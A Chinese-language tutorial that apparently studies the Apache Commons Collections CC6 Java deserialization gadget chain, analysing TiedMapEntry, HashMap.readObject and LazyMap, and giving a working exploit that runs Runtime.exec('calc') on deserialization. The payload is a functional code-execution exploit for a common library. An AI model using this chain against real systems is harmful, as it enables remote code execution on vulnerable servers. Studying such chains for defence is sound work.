CC6不受jdk版本约束
CC6 = CC1 + URLDNS
前半还是LazyMap.get() => ChainedTransformer.transform()
直接使用 ChainedTransformer
可以解决Runtime
类不能反序列化的问题,配合ConstantTransformer
类,又可以解决参数传递的问题。
分析 org.apache.commons.collections.keyvalue.TiedMapEntry
1 2 3 4 5 6 7 8 9 public Object getValue () { return map.get(key); }public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
java.util.HashMap
readObject()
部分
1 2 3 4 5 6 7 8 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
1 2 3 4 5 6 7 8 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
问题一 可以弹计算器,但是有个问题,在 HashMap
初始化后,我们往hashMap中存入键值对时,会触发链子。但是此时我们并没有序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @Test public void test () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); Map lazymap = LazyMap.decorate(new HashMap <>(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "key" ); HashMap<TiedMapEntry,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"value" ); }
小bug 在调试时,在14行就会触发链子。
因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString()
方法,所以在创建 TiedMapEntry
的时候,就提前调用了 getValue()
最终将链子走完,然后弹出计算器。
1 2 3 public String toString ( ) { return getKey () + "=" + getValue (); }
修改设置,可解决
无伤大雅,继续我们的问题。
解决方法 我们需要将在初始化 HashMap
的时候,传入的Transformer
不是我们执行的 Runtime.getRuntime().exec()
,之后修改 lazymap
的属性。但是这样我还不确定能不能行。先试一试吧。
最终exp 其实这个还不能触发,需要把注释去掉,注释掉那一步,是为了分析为什么需要那一步。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @Test public void test () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); ConstantTransformer constantTransformer= new ConstantTransformer ("123" ); HashMap map = new HashMap <>(); Map lazymap = LazyMap.decorate(map, constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "key" ); HashMap<TiedMapEntry,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"value" ); Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory" ); fieldfactory.setAccessible(true ); fieldfactory.set(lazymap,chainedTransformer); serializable(hashMap); unserializable("ser.bin" ); }
调试分析 记得先修复那个小bug,避免影响结果。
在 LazyMap
类get
方法打断点。
step over(F8),调试过程中逐行执行代码
之前的代码,也就是下面这行的代码,传入的key也就是字符串”key”,通过链子的传递来到LazyMap.get()
方法。并且在进行if判断时,获取了 ConstantTransformer constantTransformer= new ConstantTransformer("123");
调用transform()
方法的值,赋值给了map[“key”]使得map[“key”] = 123,所有在下次反序列化时调用时 map.containsKey(key) == true
,键值对存在了,不会触发 Object value = factory.transform(key);
;后面的链子也就失效了。
1 TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "key" );
所以我们需要删除掉之前的key。
链子 1 2 3 4 5 6 7 8 HashMap.readObject () HashMap.hash (Object key) key.hashCode () TiedMapEntry.hashCode () => TiedMapEntry.getValue () => LazyMap.get () => ChainedTransformer.transform ()
由于 CC6 不依赖 sun.reflect
或其他受 JDK 版本变更影响的类,因此 JDK 的升级不会直接影响 CC6 的执行。